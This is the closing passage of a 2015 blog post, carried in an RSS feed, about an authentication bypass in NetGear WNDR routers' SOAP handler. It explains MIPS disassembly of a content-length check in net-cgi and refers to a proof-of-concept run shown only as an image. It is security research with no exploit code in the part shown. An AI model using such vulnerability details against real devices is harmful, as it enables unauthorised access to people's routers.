&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;beqz&lt;/code&gt; operation at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429fdc&lt;/code&gt; is being used to ensure that the content-length HTTP header is greater than zero. If the content-length is zero then a branch is made to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a0d4&lt;/code&gt; which in-turn branches again to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a110&lt;/code&gt;. At &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a110&lt;/code&gt; the address for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SendSoapRespCode&lt;/code&gt; is pushed into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t9&lt;/code&gt;, a static ‘401’ pushed into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a1&lt;/code&gt;, the registers stored at the top of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; are pushed back into save registers from the stack, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SendSoapRespCode&lt;/code&gt; is called.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ExecuteSoapAction-401.png&quot; alt=&quot;ExeucuteSoapAction-401&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The client receives their response, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net-cgi&lt;/code&gt; exits and everyone is happy.&lt;/p&gt;

&lt;p&gt;I am unsure whether this value is verified to be non-zero as part of some sort of ‘authentication’ of legitimate requests, or due to this value being used in a stream reader later in the thread? Perhaps just to cut down on processing overhead for blank requests; in which case a HTTP 400 may have been more appropriate.&lt;/p&gt;

&lt;p&gt;Either way, I shouldn’t be able to just ask for the keys to the kingdom and have them given to me.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/PoC-Run.png&quot; alt=&quot;PoC-Run&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 11 Feb 2015 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2015/02/11/NetGear-SOAPWNDR-Authentication-Bypass.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2015/02/11/NetGear-SOAPWNDR-Authentication-Bypass.html</guid>
        
        
      </item>
    
  </channel>
</rss>
